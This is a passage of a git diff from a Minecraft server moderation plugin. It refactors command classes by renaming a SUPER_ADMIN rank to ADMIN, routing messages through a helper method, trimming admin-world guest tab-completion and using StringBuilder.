+    public List<String> getTabCompleteOptions(CommandSender sender, Command command, String alias, String[] args)
+    {
+        if (!plugin.al.isAdmin(sender))
+        {
+            return Collections.emptyList();
+        }
+        if (args.length == 1)
+        {
+            return Arrays.asList("time", "weather");
+        }
+        else if (args.length == 2)
+        {
+            if (args[0].equals("time"))
+            {
+                return Arrays.asList("morning", "noon", "evening", "night");
+            }
+            else if (args[0].equals("weather"))
+            {
+                return Arrays.asList("off", "rain", "storm");
+            }
+        }
+        return Collections.emptyList();
+    }
+
+    private enum CommandMode
+    {
+        TELEPORT, TIME, WEATHER
+    }
+
+    private static class PermissionDeniedException extends Exception
     {
 
         private static final long serialVersionUID = 1L;
@@ -248,48 +198,4 @@ public class Command_adminworld extends FreedomCommand
             super(string);
         }
     }
-
-    @Override
-    public List<String> getTabCompleteOptions(CommandSender sender, Command command, String alias, String[] args)
-    {
-        if (!plugin.al.isAdmin(sender))
-        {
-            return Collections.emptyList();
-        }
-        if (args.length == 1)
-        {
-            return Arrays.asList("guest", "time", "weather");
-        }
-        else if (args.length == 2)
-        {
-            if (args[0].equals("guest"))
-            {
-                return Arrays.asList("add", "remove", "list", "purge");
-            }
-            else if (args[0].equals("time"))
-            {
-                return Arrays.asList("morning", "noon", "evening", "night");
-            }
-            else if (args[0].equals("weather"))
-            {
-                return Arrays.asList("off", "rain", "storm");
-            }
-        }
-        else if (args.length == 3)
-        {
-            if (args[0].equals("guest"))
-            {
-                if (args[1].equals("add"))
-                {
-                    return FUtil.getPlayerList();
-                }
-                else if (args[1].equals("remove"))
-                {
-                    return plugin.wm.adminworld.getGuestList();
-                }
-            }
-        }
-        return Collections.emptyList();
-    }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_adventure.java

@@ -19,7 +19,7 @@ public class Command_adventure extends FreedomCommand
         {
             if (isConsole())
             {
-                sender.sendMessage("When used from the console, you must define a target player.");
+                msg("When used from the console, you must define a target player.");
                 return true;
             }
 
@@ -28,7 +28,7 @@ public class Command_adventure extends FreedomCommand
             return true;
         }
 
-        checkRank(Rank.SUPER_ADMIN);
+        checkRank(Rank.ADMIN);
 
         if (args[0].equals("-a"))
         {
@@ -46,7 +46,7 @@ public class Command_adventure extends FreedomCommand
 
         if (player == null)
         {
-            sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+            msg(PLAYER_NOT_FOUND);
             return true;
         }
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_aeclear.java

@@ -9,7 +9,7 @@ import org.bukkit.entity.AreaEffectCloud;
 import org.bukkit.entity.Entity;
 import org.bukkit.entity.Player;
 
-@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
+@CommandPermissions(level = Rank.ADMIN, source = SourceType.BOTH)
 @CommandParameters(description = "Clears lingering potion area effect clouds.", usage = "/<command>", aliases = "aec")
 public class Command_aeclear extends FreedomCommand
 {
@@ -17,7 +17,7 @@ public class Command_aeclear extends FreedomCommand
     @Override
     public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
     {
-        FUtil.adminAction(sender.getName(), "Removing all area effect clouds.", true);
+        FUtil.adminAction(sender.getName(), "Removing all area effect clouds", true);
         int removed = 0;
         for (World world : server.getWorlds())
         {

src/main/java/me/totalfreedom/totalfreedommod/command/Command_announce.java

@@ -6,13 +6,13 @@ import org.bukkit.command.Command;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
-@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
+@CommandPermissions(level = Rank.ADMIN, source = SourceType.BOTH)
 @CommandParameters(description = "Make an announcement anonymously to operators.", usage = "/<command> <message>")
 public class Command_announce extends FreedomCommand
 {
 
     @Override
-    protected boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
+    public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
     {
         if (args.length < 1)
         {
@@ -22,5 +22,4 @@ public class Command_announce extends FreedomCommand
         plugin.an.announce(StringUtils.join(args, " "));
         return true;
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_attributelist.java

@@ -14,17 +14,17 @@ public class Command_attributelist extends FreedomCommand
     @Override
     public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
     {
-        String list = "All possible attributes: ";
+        StringBuilder list = new StringBuilder("All possible attributes: ");
 
         for (Attribute attribute : Attribute.values())
         {
-            list += attribute.name() + ", ";
+            list.append(attribute.name()).append(", ");
         }
 
         // Remove extra comma at the end of the list
-        list = list.substring(0, list.length() - 2);
+        list = new StringBuilder(list.substring(0, list.length() - 2));
 
-        msg(list);
+        msg(list.toString());
         return true;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_autoclear.java

@@ -5,7 +5,7 @@ import org.bukkit.command.Command;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
-@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
+@CommandPermissions(level = Rank.ADMIN, source = SourceType.BOTH)
 @CommandParameters(description = "Toggle whether or not a player has their inventory automatically cleared when they join", usage = "/<command> <player>")
 public class Command_autoclear extends FreedomCommand
 {

src/main/java/me/totalfreedom/totalfreedommod/command/Command_autotp.java

@@ -5,7 +5,7 @@ import org.bukkit.command.Command;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
-@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
+@CommandPermissions(level = Rank.ADMIN, source = SourceType.BOTH)
 @CommandParameters(description = "Toggle whether or not a player is automatically teleported when they join", usage = "/<command> <player>")
 public class Command_autotp extends FreedomCommand
 {